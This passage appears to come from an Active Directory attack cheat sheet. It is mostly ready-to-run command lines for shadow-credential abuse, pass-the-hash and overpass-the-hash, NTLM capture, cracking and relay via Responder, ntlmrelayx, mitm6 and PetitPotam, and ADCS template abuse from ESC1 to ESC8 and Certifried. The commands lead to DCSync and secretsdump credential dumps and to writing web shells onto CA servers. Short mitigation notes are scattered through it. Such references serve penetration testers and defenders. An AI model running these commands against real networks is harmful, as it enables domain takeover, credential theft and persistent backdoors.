Exploitation: - From Windows, use Whisker: powershell # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object. Whisker.exe list /target:computername$ # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device. Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password" Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1] # Removes a key credential from the target object specified by a DeviceID GUID. Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b

From Linux, use pyWhisker: bash # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object. python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list" # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device. pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list" python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1" # Removes a key credential from the target object specified by a DeviceID GUID. python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"

Scenario:

Scenario: Shadow Credential relaying
Trigger an NTLM authentication from DC01 (PetitPotam)
Relay it to DC02 (ntlmrelayx)
Edit DC01's attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
Alternatively : ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'
Scenario: Workstation Takeover with RBCD ```ps1 # Only for C2: Add Reverse Port Forward from 8081 to Team Server 81

# Set up ntlmrelayx to relay authentication from target workstation to DC proxychains python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --shadow-credentials --shadow-target ws2\$ --http-port 81

# Execute printer bug to trigger authentication from target workstation proxychains python3 printerbug.py ez.lab/matt:Password1!@ws2.ez.lab ws1@8081/file

# Get a TGT using the newly acquired certificate via PKINIT proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/impacket/examples/T12uyM5x.pfx -pfx-pass 5j6fNfnsU7BkTWQOJhpR

# Get a TGS for the target account proxychains python3 gets4uticket.py kerberos+ccache://ez.lab\ws2\$:ws2.ccache@dc1.ez.lab cifs/ws2.ez.lab@ez.lab administrator@ez.lab administrator_tgs.ccache -v

# Utilize the TGS for future activity export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache proxychains python3 wmiexec.py -k -no-pass ez.lab/administrator@ws2.ez.lab ```

Pass-the-Hash

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.

Metasploit powershell use exploit/windows/smb/psexec set RHOST 10.2.0.3 set SMBUser jarrieta set SMBPass nastyCutt3r # NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack. # NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee) set PAYLOAD windows/meterpreter/bind_tcp run shell
CrackMapExec powershell cme smb 10.2.0.2/24 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
Impacket suite powershell proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
Windows RDP and mimikatz powershell sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:b73fdfe10e87b4ca5c0d957f81de6863 sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the users ntlm hash> /run:"mstsc.exe /restrictedadmin"

You can extract the local SAM database to find the local administrator hash :

C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

OverPass-the-Hash (pass the key)

In this technique, instead of passing the hash directly, we use the NTLM hash of an account to request a valid Kerberost ticket (TGT).

Using impacket

root@kali:~$ python ./getTGT.py -hashes ":1a59bd44fe5bec39c44c8cd3524dee" lab.ropnop.com
root@kali:~$ export KRB5CCNAME="/root/impacket-examples/velociraptor.ccache"
root@kali:~$ python3 psexec.py "jurassic.park/velociraptor@labwws02.jurassic.park" -k -no-pass

# also with the AES Key if you have it
root@kali:~$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com

root@kali:~$ ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
root@kali:~$ kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
root@kali:~$ klist

Using Rubeus

# Request a TGT as the target user and pass it into the current session
# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt

# More stealthy variant, but requires the AES256 hash
.\Rubeus.exe asktgt /user:Administrator /aes256:[AES256HASH] /opsec /ptt

# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe

UnPAC The Hash

Windows ps1 # request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC. C:/> Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
Linux ```ps1 # obtain a TGT by validating a PKINIT pre-authentication $ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

use the session key to recover the NT hash

$ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME' ```

Capturing and cracking Net-NTLMv1/NTLMv1 hashes

Net-NTLM (NTLMv1) hashes are used for network authentication (they are derived from a challenge/response algorithm and are based on the user's NT hash.

:information_source: : Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to NetNTLMv1 Challenge/Response authentication. This uses the outdated encryption method DES to protect the NT/LM Hashes.

Requirements: * LmCompatibilityLevel = 0x1: Send LM & NTLM (reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel)

Exploitation: * Capturing using Responder: Edit the /etc/responder/Responder.conf file to include the magical 1122334455667788 challenge ps1 HTTPS = On DNS = On LDAP = On ... ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788 * Fire Responder: responder -I eth0 --lm, if --disable-ess is set, extended session security will be disabled for NTLMv1 authentication * Force a callback: ps1 PetitPotam.exe Responder-IP DC-IP # Patched around August 2021 PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users * If you got some NTLMv1 hashes, you need to format them to submit them on crack.sh ps1 username::hostname:response:response:challenge -> NTHASH:response NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972 * Or crack them with Hashcat / John The Ripper ps1 john --format=netntlm hash.txt hashcat -m 5500 -a 3 hash.txt * Now you can DCSync using the Pass-The-Hash with the DC machine account

:warning: NTLMv1 with SSP(Security Support Provider) changes the server challenge and is not quite ideal for the attack, but it can be used.

Mitigations:

Set the Lan Manager authentication level to Send NTLMv2 responses only. Refuse LM & NTLM

Capturing and cracking Net-NTLMv2/NTLMv2 hashes

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR, MDNS and NETBIOS requests on the network.

# https://github.com/lgandx/Responder
$ sudo ./Responder.py -I eth0 -wfrd -P -v

# https://github.com/Kevin-Robertson/InveighZero
PS > .\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y [-Elevated N]

# https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Invoke-Inveigh.ps1
PS > Invoke-Inveigh [-IP '10.10.10.10'] -ConsoleOutput Y -FileOutput Y -NBNS Y –mDNS Y –Proxy Y -MachineAccounts Y

Crack the hashes with Hashcat / John The Ripper

john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt

Man-in-the-Middle attacks & relaying

NTLMv1 and NTLMv2 can be relayed to connect to another machine.

Hash	Hashcat	Attack method
LM	`3000`	crack/pass the hash
NTLM/NTHash	`1000`	crack/pass the hash
NTLMv1/Net-NTLMv1	`5500`	crack/relay attack
NTLMv2/Net-NTLMv2	`5600`	crack/relay attack

Crack the hash with hashcat.

hashcat -m 5600 -a 0 hash.txt crackstation.txt

MS08-068 NTLM reflection

NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.

This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS08-068

msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets

SMB Signing Disabled and IPv4

If a machine has SMB signing:disabled, it is possible to use Responder with Multirelay.py script to perform an NTLMv2 hashes relay and get a shell access on the machine. Also called LLMNR/NBNS Poisoning

Open the Responder.conf file and set the value of SMB and HTTP to Off. powershell [Responder Core] ; Servers to start ... SMB = Off # Turn this off HTTP = Off # Turn this off
Run python RunFinger.py -i IP_Range to detect machine with SMB signing:disabled.
Run python Responder.py -I <interface_card>
Use a relay tool such as ntlmrelayx or MultiRelay
- impacket-ntlmrelayx -tf targets.txt to dump the SAM database of the targets in the list.
- python MultiRelay.py -t <target_machine_IP> -u ALL
ntlmrelayx can also act as a SOCK proxy with every compromised sessions. ```powershell $ impacket-ntlmrelayx -tf /tmp/targets.txt -socks -smb2support [*] Servers started, waiting for connections Type help for list of commands ntlmrelayx> socks Protocol Target Username Port -------- -------------- ------------------------ ---- MSSQL 192.168.48.230 VULNERABLE/ADMINISTRATOR 1433 SMB 192.168.48.230 CONTOSO/NORMALUSER1 445 MSSQL 192.168.48.230 CONTOSO/NORMALUSER1 1433

You might need to select a target with "-t"

impacket-ntlmrelayx -t mssql://10.10.10.10 -socks -smb2support impacket-ntlmrelayx -t smb://10.10.10.10 -socks -smb2support

the socks proxy can then be used with your Impacket tools or CrackMapExec

$ proxychains impacket-smbclient //192.168.48.230/Users -U contoso/normaluser1 $ proxychains impacket-mssqlclient DOMAIN/USER@10.10.10.10 -windows-auth $ proxychains crackmapexec mssql 10.10.10.10 -u user -p '' -d DOMAIN -q "SELECT 1"
```

Mitigations:

Disable LLMNR via group policy powershell Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled
Disable NBT-NS powershell This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP

SMB Signing Disabled and IPv6

Since MS16-077 the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.

crackmapexec smb $hosts --gen-relay-list relay.txt

# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
# -d is the domain name that we filter our request on - the attacked domain
# -i is the interface we have mitm6 listen on for events
mitm6 -i eth0 -d $domain

# spoofing WPAD and relaying NTLM credentials
impacket-ntlmrelayx -6 -wh $attacker_ip -of loot -tf relay.txt
impacket-ntlmrelayx -6 -wh $attacker_ip -l /tmp -socks -debug

# -ip is the interface you want the relay to run on
# -wh is for WPAD host, specifying your wpad file to serve
# -t is the target where you want to relay to. 
impacket-ntlmrelayx -ip 10.10.10.1 -wh $attacker_ip -t ldaps://10.10.10.2

Drop the MIC

The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP

Check vulnerability with cve-2019-1040-scanner

python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)

Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD powershell TERM1> python printerbug.py testsegment.local/username@s2012exc.testsegment.local <attacker ip/hostname> TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc
Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server. ```powershell # create a new machine account TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support TERM2> python printerbug.py relaytest.local/username@second-dc-server 10.0.2.6 TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME

connect using the ticket

export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache secretsdump.py -k -no-pass second-dc-server.local -just-dc ```

Ghost Potato - CVE-2019-1384

Requirements: * User must be a member of the local Administrators group * User must be a member of the Backup Operators group * Token must be elevated

Using a modified version of ntlmrelayx : https://shenaniganslabs.io/files/impacket-ghostpotato.zip

ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe

RemotePotato0 DCOM DCE RPC relay

It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine

Requirements: - a shell in session 0 (e.g. WinRm shell or SSH shell) - a privileged user is logged on in the session 1 (e.g. a Domain Admin user)

# https://github.com/antonioCoco/RemotePotato0/
Terminal> sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.83.131:9998 & # Can be omitted for Windows Server <= 2016
Terminal> sudo ntlmrelayx.py -t ldap://192.168.83.135 --no-wcf-server --escalate-user winrm_user_1
Session0> RemotePotato0.exe -r 192.168.83.130 -p 9998 -s 2
Terminal> psexec.py 'LAB/winrm_user_1:Password123!@192.168.83.135'

DNS Poisonning - Relay delegation with mitm6

Requirements: - IPv6 enabled (Windows prefers IPV6 over IPv4) - LDAP over TLS (LDAPS)

ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.

git clone https://github.com/fox-it/mitm6.git 
cd /opt/tools/mitm6
pip install .

mitm6 -hw ws02 -d lab.local --ignore-nofqnd
# -d: the domain name that we filter our request on (the attacked domain)
# -i: the interface we have mitm6 listen on for events
# -hw: host whitelist

ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad
ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad --add-computer
# -ip: the interface you want the relay to run on
# -wh: WPAD host, specifying your wpad file to serve
# -t: the target where you want to relay to

# now granting delegation rights and then do a RBCD
ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
getST.py -spn cifs/target.lab.local lab.local/GENERATED\$ -impersonate Administrator  
export KRB5CCNAME=administrator.ccache  
secretsdump.py -k -no-pass target.lab.local

Relaying with WebDav Trick

Example of exploitation where you can coerce machine accounts to authenticate to a host and combine it with Resource Based Constrained Delegation to gain elevated access. It allows attackers to elicit authentications made over HTTP instead of SMB

Requirement: * WebClient service

Exploitation: * Disable HTTP in Responder: sudo vi /usr/share/responder/Responder.conf * Generate a Windows machine name: sudo responder -I eth0, e.g: WIN-UBNW4FI3AP0 * Prepare for RBCD against the DC: python3 ntlmrelayx.py -t ldaps://dc --delegate-access -smb2support * Discover WebDAV services ps1 webclientservicescanner 'domain.local'/'user':'password'@'machine' crackmapexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav GetWebDAVStatus.exe 'machine' * Trigger the authentication to relay to our nltmrelayx: PetitPotam.exe WIN-UBNW4FI3AP0@80/test.txt 10.0.0.4, the listener host must be specified with the FQDN or full netbios name like logger.domain.local@80/test.txt. Specifying the IP results in anonymous auth instead of System. ```ps1 # PrinterBug dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP" SpoolSample.exe "ATTACKER_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"

# PetitPotam Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP" Petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP" PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP" * Use the created account to ask for a service ticket:ps1 .\Rubeus.exe hash /domain:purple.lab /user:WVLFLLKZ$ /password:'iUAL)l<i$;UzD7W' .\Rubeus.exe s4u /user:WVLFLLKZ$ /aes256:E0B3D87B512C218D38FAFDBD8A2EC55C83044FD24B6D740140C329F248992D8F /impersonateuser:Administrator /msdsspn:host/pc1.purple.lab /altservice:cifs /nowrap /ptt ls \PC1.purple.lab\c$ # IP of PC1: 10.0.0.4 ```

Active Directory Certificate Services

Find ADCS Server : crackmapexec ldap domain.lab -u username -p password -M adcs
Enumerate AD Enterprise CAs with certutil: certutil.exe -config - -ping

ESC1 - Misconfigured Certificate Templates

Domain Users can enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.

Requirements: * Template that allows for AD authentication * ENROLLEE_SUPPLIES_SUBJECT flag * [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)

Exploitation: * Use Certify.exe to see if there are any vulnerable templates ps1 Certify.exe find /vulnerable Certify.exe find /vulnerable /currentuser or PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local' * Use Certify, Certi or Certipy to request a Certificate and add an alternative name (user to impersonate) ps1 # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt. Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local' * Use OpenSSL and convert the certificate, do not enter a password ps1 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx * Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus ps1 Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx

WARNING: These certificates will still be usable even if the user or computer resets their password!

NOTE: Look for EDITF_ATTRIBUTESUBJECTALTNAME2, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, ManageCA flags, and NTLM Relay to AD CS HTTP Endpoints.

ESC2 - Misconfigured Certificate Templates

Requirements: * Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)

Exploitation: * Find template ps1 PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local' * Request a certificate specifying the /altname as a domain admin like in ESC1.

ESC3 - Misconfigured Enrollment Agent Templates

ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users

Request a certificate based on the vulnerable certificate template ESC3. ps1 $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3' [*] Saved certificate and private key to 'john.pfx'
Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user ps1 $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

ESC4 - Access Control Vulnerabilities

Enabling the mspki-certificate-name-flag flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability

Search for WriteProperty with value 00000000-0000-0000-0000-000000000000 using modifyCertTemplate ps1 python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
Add the ENROLLEE_SUPPLIES_SUBJECT (ESS) flag to perform ESC1 ```ps1 python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag

# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template. C:>StandIn.exe --adcs --filter WebServer --ess --add * Perform ESC1 and then restore the valueps1 python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag ```

Using Certipy

# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
# restore the old configuration
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json

ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

Exploitation: * Use Certify.exe to check for UserSpecifiedSAN flag state which refers to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag. ps1 Certify.exe cas * Request a certificate for a template and add an altname, even though the default User template doesn't normally allow to specify alternative names ps1 .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin

Mitigation:
* Remove the flag : certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2

ESC7 - Vulnerable Certificate Authority Access Control

Exploitation: * Detect CAs that allow low privileged users the ManageCA or Manage Certificates permissions ps1 Certify.exe find /vulnerable * Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6) ps1 Certify.exe setconfig /enablesan /restart * Request the certificate with the desired SAN. ps1 Certify.exe request /template:User /altname:super.adm * Grant approval if required or disable the approval requirement ps1 # Grant Certify.exe issue /id:[REQUEST ID] # Disable Certify.exe setconfig /removeapproval /restart

Alternative exploitation from ManageCA to RCE on ADCS server:

# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly

# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php

ESC8 - AD CS Relay Attack

An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

Require Impacket PR #1101

Version 1: NTLM Relay + Rubeus + PetitPotam ```powershell impacket> python3 ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2support --adcs impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate # For a member server or workstation, the template would be "Computer". # Other templates: workstation, DomainController, Machine, KerberosAuthentication

Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam

You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN

git clone https://github.com/topotam/PetitPotam python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP python3 dementor.py -u -p -d python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local

Use the certificate with rubeus to request a TGT

Rubeus.exe asktgt /user: /certificate: /ptt Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt

Now you can use the TGT to perform a DCSync

mimikatz> lsadump::dcsync /user:krbtgt ```
Version 2: NTLM Relay + Mimikatz + Kekeo ```powershell impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Mimikatz

mimikatz> misc::efs /server:dc.lab.local /connect: /noauth

Kekeo

kekeo> base64 /input:on kekeo> tgt::ask /pfx: /user:dc$ /domain:lab.local /ptt

Mimikatz

mimikatz> lsadump::dcsync /user:krbtgt * Version 3: ADCSPwn - Require `WebClient` service running on the domain controller. By default this service is not installed.powershell https://github.com/bats3c/ADCSPwn adcspwn.exe --adcs --port [local port] --remote [computer] adcspwn.exe --adcs cs.pwnlab.local adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001 adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local

ADCSPwn arguments

adcs - This is the address of the AD CS server which authentication will be relayed to. secure - Use HTTPS with the certificate service. port - The port ADCSPwn will listen on. remote - Remote machine to trigger authentication from. username - Username for non-domain context. password - Password for non-domain context. dc - Domain controller to query for Certificate Templates (LDAP). unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) . output - Output path to store base64 generated crt. * Version 4: Certipy ESC8ps1 certipy relay -ca 172.16.19.100 ```

Certifried CVE-2022-26923

An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.

Find ms-DS-MachineAccountQuota ps1 python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes 'DC=lab,DC=local' ms-DS-MachineAccountQuota
Add a new computer in the Active Directory, by default MachineAccountQuota = 10 ps1 python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 addComputer cve 'CVEPassword1234*' certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
[ALTERNATIVE] If you are SYSTEM and the MachineAccountQuota=0: Use a ticket for the current machine and reset its SPN ps1 Rubeus.exe tgtdeleg export KRB5CCNAME=/tmp/ws02.ccache python bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local setAttribute 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName '[]'
Set the dNSHostName attribute to match the Domain Controller hostname ps1 python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 setAttribute 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName '["DC.lab.local"]' python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName
Request a ticket ps1 # certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA
Either use the pfx or set a RBCD on your machine account to takeover the domain ```ps1 certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10

openssl pkcs12 -in dc.pfx -out dc.pem -nodes python bloodyAD.py -d lab.local -c ":dc.pem" -u 'cve$' --host 10.10.10.10 setRbcd 'CVE$' 'CRASHDC$' getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*'
secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10 ```

Dangerous Built-in Groups Usage

